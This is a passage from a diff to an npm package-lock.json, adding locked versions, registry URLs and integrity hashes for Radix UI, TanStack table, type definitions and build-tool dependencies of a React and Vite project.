+ "integrity": "sha512-tI7sT/kqYp8p96yGWY1OAnLHrqDgzHefRBKQ2YAkBS5ja7QLcZ9Z/uY7bEjPUatf8RomoXM8/1sMj1IJaE5UzQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-use-layout-effect": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-label": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.0.2.tgz",
+ "integrity": "sha512-N5ehvlM7qoTLx7nWPodsPYPgMzA5WM8zZChQg8nyFJKnDO5WHdba1vv5/H6IO5LtJMfD2Q3wh1qHFGNtK0w3bQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-primitive": "1.0.3"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-popper": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.1.2.tgz",
+ "integrity": "sha512-1CnGGfFi/bbqtJZZ0P/NQY20xdG3E0LALJaLUEoKwPLwl6PPPfbeiCqMVQnhoFRAxjJj4RpBRJzDmUgsex2tSg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@floating-ui/react-dom": "^2.0.0",
+ "@radix-ui/react-arrow": "1.0.3",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-use-callback-ref": "1.0.1",
+ "@radix-ui/react-use-layout-effect": "1.0.1",
+ "@radix-ui/react-use-rect": "1.0.1",
+ "@radix-ui/react-use-size": "1.0.1",
+ "@radix-ui/rect": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-portal": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.0.3.tgz",
+ "integrity": "sha512-xLYZeHrWoPmA5mEKEfZZevoVRK/Q43GfzRXkWV6qawIWWK8t6ifIiLQdd7rmQ4Vk1bmI21XhqF9BN3jWf+phpA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-primitive": "1.0.3"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-presence": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.1.tgz",
+ "integrity": "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-use-layout-effect": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-primitive": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.3.tgz",
+ "integrity": "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-slot": "1.0.2"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-select": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-1.2.2.tgz",
+ "integrity": "sha512-zI7McXr8fNaSrUY9mZe4x/HC0jTLY9fWNhO1oLWYMQGDXuV4UCivIGTxwioSzO0ZCYX9iSLyWmAh/1TOmX3Cnw==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/number": "1.0.1",
+ "@radix-ui/primitive": "1.0.1",
+ "@radix-ui/react-collection": "1.0.3",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-direction": "1.0.1",
+ "@radix-ui/react-dismissable-layer": "1.0.4",
+ "@radix-ui/react-focus-guards": "1.0.1",
+ "@radix-ui/react-focus-scope": "1.0.3",
+ "@radix-ui/react-id": "1.0.1",
+ "@radix-ui/react-popper": "1.1.2",
+ "@radix-ui/react-portal": "1.0.3",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-slot": "1.0.2",
+ "@radix-ui/react-use-callback-ref": "1.0.1",
+ "@radix-ui/react-use-controllable-state": "1.0.1",
+ "@radix-ui/react-use-layout-effect": "1.0.1",
+ "@radix-ui/react-use-previous": "1.0.1",
+ "@radix-ui/react-visually-hidden": "1.0.3",
+ "aria-hidden": "^1.1.1",
+ "react-remove-scroll": "2.5.5"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-slot": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.2.tgz",
+ "integrity": "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-compose-refs": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-switch": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.0.3.tgz",
+ "integrity": "sha512-mxm87F88HyHztsI7N+ZUmEoARGkC22YVW5CaC+Byc+HRpuvCrOBPTAnXgf+tZ/7i0Sg/eOePGdMhUKhPaQEqow==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/primitive": "1.0.1",
+ "@radix-ui/react-compose-refs": "1.0.1",
+ "@radix-ui/react-context": "1.0.1",
+ "@radix-ui/react-primitive": "1.0.3",
+ "@radix-ui/react-use-controllable-state": "1.0.1",
+ "@radix-ui/react-use-previous": "1.0.1",
+ "@radix-ui/react-use-size": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-callback-ref": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.1.tgz",
+ "integrity": "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-controllable-state": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.0.1.tgz",
+ "integrity": "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-use-callback-ref": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-escape-keydown": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.0.3.tgz",
+ "integrity": "sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-use-callback-ref": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-layout-effect": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.1.tgz",
+ "integrity": "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-previous": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.0.1.tgz",
+ "integrity": "sha512-cV5La9DPwiQ7S0gf/0qiD6YgNqM5Fk97Kdrlc5yBcrF3jyEZQwm7vYFqMo4IfeHgJXsRaMvLABFtd0OVEmZhDw==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-rect": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.0.1.tgz",
+ "integrity": "sha512-Cq5DLuSiuYVKNU8orzJMbl15TXilTnJKUCltMVQg53BQOF1/C5toAaGrowkgksdBQ9H+SRL23g0HDmg9tvmxXw==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/rect": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-size": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.0.1.tgz",
+ "integrity": "sha512-ibay+VqrgcaI6veAojjofPATwledXiSmX+C0KrBk/xgpX9rBzPV3OsfwlhQdUOFbh+LKQorLYT+xTXW9V8yd0g==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-use-layout-effect": "1.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-visually-hidden": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.0.3.tgz",
+ "integrity": "sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10",
+ "@radix-ui/react-primitive": "1.0.3"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/rect": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.0.1.tgz",
+ "integrity": "sha512-fyrgCaedtvMg9NK3en0pnOYJdtfwxUcNolezkNPUsoX57X8oQk+NkqcvzHXD2uKNij6GXmWU9NDru2IWjrO4BQ==",
+ "dependencies": {
+ "@babel/runtime": "^7.13.10"
+ }
+ },
+ "node_modules/@remix-run/router": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.7.0.tgz",
+ "integrity": "sha512-Eu1V3kz3mV0wUpVTiFHuaT8UD1gj/0VnoFHQYX35xlslQUpe8CuYoKFn9d4WZFHm3yDywz6ALZuGdnUPKrNeAw==",
+ "engines": {
+ "node": ">=14"
+ }
+ },
+ "node_modules/@tanstack/react-table": {
+ "version": "8.9.3",
+ "resolved": "https://registry.npmjs.org/@tanstack/react-table/-/react-table-8.9.3.tgz",
+ "integrity": "sha512-Ng9rdm3JPoSCi6cVZvANsYnF+UoGVRxflMb270tVj0+LjeT/ZtZ9ckxF6oLPLcKesza6VKBqtdF9mQ+vaz24Aw==",
+ "dependencies": {
+ "@tanstack/table-core": "8.9.3"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/tannerlinsley"
+ },
+ "peerDependencies": {
+ "react": ">=16",
+ "react-dom": ">=16"
+ }
+ },
+ "node_modules/@tanstack/table-core": {
+ "version": "8.9.3",
+ "resolved": "https://registry.npmjs.org/@tanstack/table-core/-/table-core-8.9.3.tgz",
+ "integrity": "sha512-NpHZBoHTfqyJk0m/s/+CSuAiwtebhYK90mDuf5eylTvgViNOujiaOaxNDxJkQQAsVvHWZftUGAx1EfO1rkKtLg==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/tannerlinsley"
+ }
+ },
+ "node_modules/@types/crypto-js": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/@types/crypto-js/-/crypto-js-4.1.1.tgz",
+ "integrity": "sha512-BG7fQKZ689HIoc5h+6D2Dgq1fABRa0RbBWKBd9SP/MVRVXROflpm5fhwyATX5duFmbStzyzyycPB8qUYKDH3NA==",
+ "dev": true
+ },
+ "node_modules/@types/node": {
+ "version": "20.3.3",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.3.3.tgz",
+ "integrity": "sha512-wheIYdr4NYML61AjC8MKj/2jrR/kDQri/CIpVoZwldwhnIrD/j9jIU5bJ8yBKuB2VhpFV7Ab6G2XkBjv9r9Zzw==",
+ "dev": true,
+ "optional": true,
+ "peer": true
+ },
+ "node_modules/@types/prop-types": {
+ "version": "15.7.5",
+ "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz",
+ "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==",
+ "devOptional": true
+ },
+ "node_modules/@types/react": {
+ "version": "18.0.35",
+ "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.35.tgz",
+ "integrity": "sha512-6Laome31HpetaIUGFWl1VQ3mdSImwxtFZ39rh059a1MNnKGqBpC88J6NJ8n/Is3Qx7CefDGLgf/KhN/sYCf7ag==",
+ "devOptional": true,
+ "dependencies": {
+ "@types/prop-types": "*",
+ "@types/scheduler": "*",
+ "csstype": "^3.0.2"
+ }
+ },
+ "node_modules/@types/react-dom": {
+ "version": "18.0.11",
+ "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.11.tgz",
+ "integrity": "sha512-O38bPbI2CWtgw/OoQoY+BRelw7uysmXbWvw3nLWO21H1HSh+GOlqPuXshJfjmpNlKiiSDG9cc1JZAaMmVdcTlw==",
+ "devOptional": true,
+ "dependencies": {
+ "@types/react": "*"
+ }
+ },
+ "node_modules/@types/scheduler": {
+ "version": "0.16.3",
+ "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.3.tgz",
+ "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==",
+ "devOptional": true
+ },
+ "node_modules/@vitejs/plugin-react": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-3.1.0.tgz",
+ "integrity": "sha512-AfgcRL8ZBhAlc3BFdigClmTUMISmmzHn7sB2h9U1odvc5U/MjWXsAaz18b/WoppUTDBzxOJwo2VdClfUcItu9g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/core": "^7.20.12",
+ "@babel/plugin-transform-react-jsx-self": "^7.18.6",
+ "@babel/plugin-transform-react-jsx-source": "^7.19.6",
+ "magic-string": "^0.27.0",
+ "react-refresh": "^0.14.0"
+ },
+ "engines": {
+ "node": "^14.18.0 || >=16.0.0"
+ },
+ "peerDependencies": {
+ "vite": "^4.1.0-beta.0"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^1.9.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/any-promise": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="
+ },
+ "node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/arg": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+ "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+ },
+ "node_modules/aria-hidden": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.3.tgz",
+ "integrity": "sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==",
+ "dependencies": {
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/autoprefixer": {
+ "version": "10.4.14",
+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.14.tgz",
+ "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+ }
+ ],
+ "dependencies": {
+ "browserslist": "^4.21.5",
+ "caniuse-lite": "^1.0.30001464",
+ "fraction.js": "^4.2.0",
+ "normalize-range": "^0.1.2",
+ "picocolors": "^1.0.0",
+ "postcss-value-parser": "^4.2.0"
+ },
+ "bin": {
+ "autoprefixer": "bin/autoprefixer"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.1.0"
+ }
+ },
+ "node_modules/balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+ },
+ "node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/brace-expansion": {
+ "version": "1.1.11",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+ "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+ "dependencies": {
+ "balanced-match": "^1.0.0",
+ "concat-map": "0.0.1"
+ }
+ },
+ "node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/browserslist": {
+ "version": "4.21.5",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz",
+ "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ }
+ ],
+ "dependencies": {
+ "caniuse-lite": "^1.0.30001449",
+ "electron-to-chromium": "^1.4.284",
+ "node-releases": "^2.0.8",
+ "update-browserslist-db": "^1.0.10"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/camelcase-css": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+ "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/caniuse-lite": {
+ "version": "1.0.30001478",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001478.tgz",
+ "integrity": "sha512-gMhDyXGItTHipJj2ApIvR+iVB5hd0KP3svMWWXDvZOmjzJJassGLMfxRkQCSYgGd2gtdL/ReeiyvMSFD1Ss6Mw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ]
+ },
+ "node_modules/chalk": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^3.2.1",
+ "escape-string-regexp": "^1.0.5",
+ "supports-color": "^5.3.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ],
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/chokidar/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/class-variance-authority": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.6.0.tgz",
+ "integrity": "sha512-qdRDgfjx3GRb9fpwpSvn+YaidnT7IUJNe4wt5/SWwM+PmUwJUhQRk/8zAyNro0PmVfmen2635UboTjIBXXxy5A==",
+ "dependencies": {
+ "clsx": "1.2.1"
+ },
+ "funding": {
+ "url": "https://joebell.co.uk"
+ },
+ "peerDependencies": {
+ "typescript": ">= 4.5.5 < 6"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/clsx": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz",
+ "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "1.9.3",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "1.1.3"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+ "dev": true
+ },
